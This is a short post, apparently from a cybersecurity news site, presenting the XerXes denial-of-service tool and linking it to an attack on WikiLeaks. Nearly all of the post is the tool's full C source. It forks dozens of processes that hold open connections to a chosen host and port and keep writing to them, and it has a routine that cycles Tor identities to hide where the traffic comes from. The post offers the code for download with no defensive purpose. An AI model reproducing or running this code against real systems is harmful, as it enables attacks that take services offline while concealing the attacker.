✕
#1 Trusted Cybersecurity News Platform
The Hacker News Logo
☰

XerXes - Most powerful dos tool

Mohit Kumar
XerXes - Most powerful dos tool


XerXes is one of the most powerful private dos tool. This tools was used by The Jester to Hits WikiLeaks Site DoS Attack.


Get Source Code here :

/* XerXes - Most powerful dos tool - THN (https://www.thehackernews.com) */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <netdb.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>


int make_socket(char *host, char *port) {
struct addrinfo hints, *servinfo, *p;
int sock, r;
// fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
exit(0);
}
for(p = servinfo; p != NULL; p = p->ai_next) {
if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
continue;
}
if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
close(sock);
continue;
}
break;
}
if(p == NULL) {
if(servinfo)
freeaddrinfo(servinfo);
fprintf(stderr, "No connection could be made\n");
exit(0);
}
if(servinfo)
freeaddrinfo(servinfo);
fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
return sock;
}


void broke(int s) {
// do nothing
}


#define CONNECTIONS 8
#define THREADS 48


void attack(char *host, char *port, int id) {
int sockets[CONNECTIONS];
int x, g=1, r;
for(x=0; x!= CONNECTIONS; x++)
sockets[x]=0;
signal(SIGPIPE, &broke);
while(1) {
for(x=0; x != CONNECTIONS; x++) {
if(sockets[x] == 0)
sockets[x] = make_socket(host, port);
r=write(sockets[x], "\0", 1);
if(r == -1) {
close(sockets[x]);
sockets[x] = make_socket(host, port);
} else
// fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
fprintf(stderr, "[%i: Voly Sent]\n", id);
}
fprintf(stderr, "[%i: Voly Sent]\n", id);
usleep(300000);
}
}


void cycle_identity() {
int r;
int socket = make_socket("localhost", "9050");
write(socket, "AUTHENTICATE \"\"\n", 16);
while(1) {
r=write(socket, "signal NEWNYM\n\x00", 16);
fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
usleep(300000);
}
}


int main(int argc, char **argv) {
int x;
if(argc !=3)
cycle_identity();
for(x=0; x != THREADS; x++) {
if(fork())
attack(argv[1], argv[2], x);
usleep(200000);
}
getc(stdin);
return 0;
}




➤ Read Latest Stories

Exclusive Cybersecurity Deals

🔥 Learn Professional Hacking

10 courses + 1,236 lessons on latest techniques, forensics, malware analysis, network security and programming.
➤ Access Online Training Courses

🔥 Cybersecurity Certification Training

Get 1-year access to 108 hours of instruction on globally-recognized CISA, CISM, CISSP, PMI-RMP, and COBIT 5 certifications.
➤ Access Online Training Courses
📰 News Stories from 09 Jul, 2011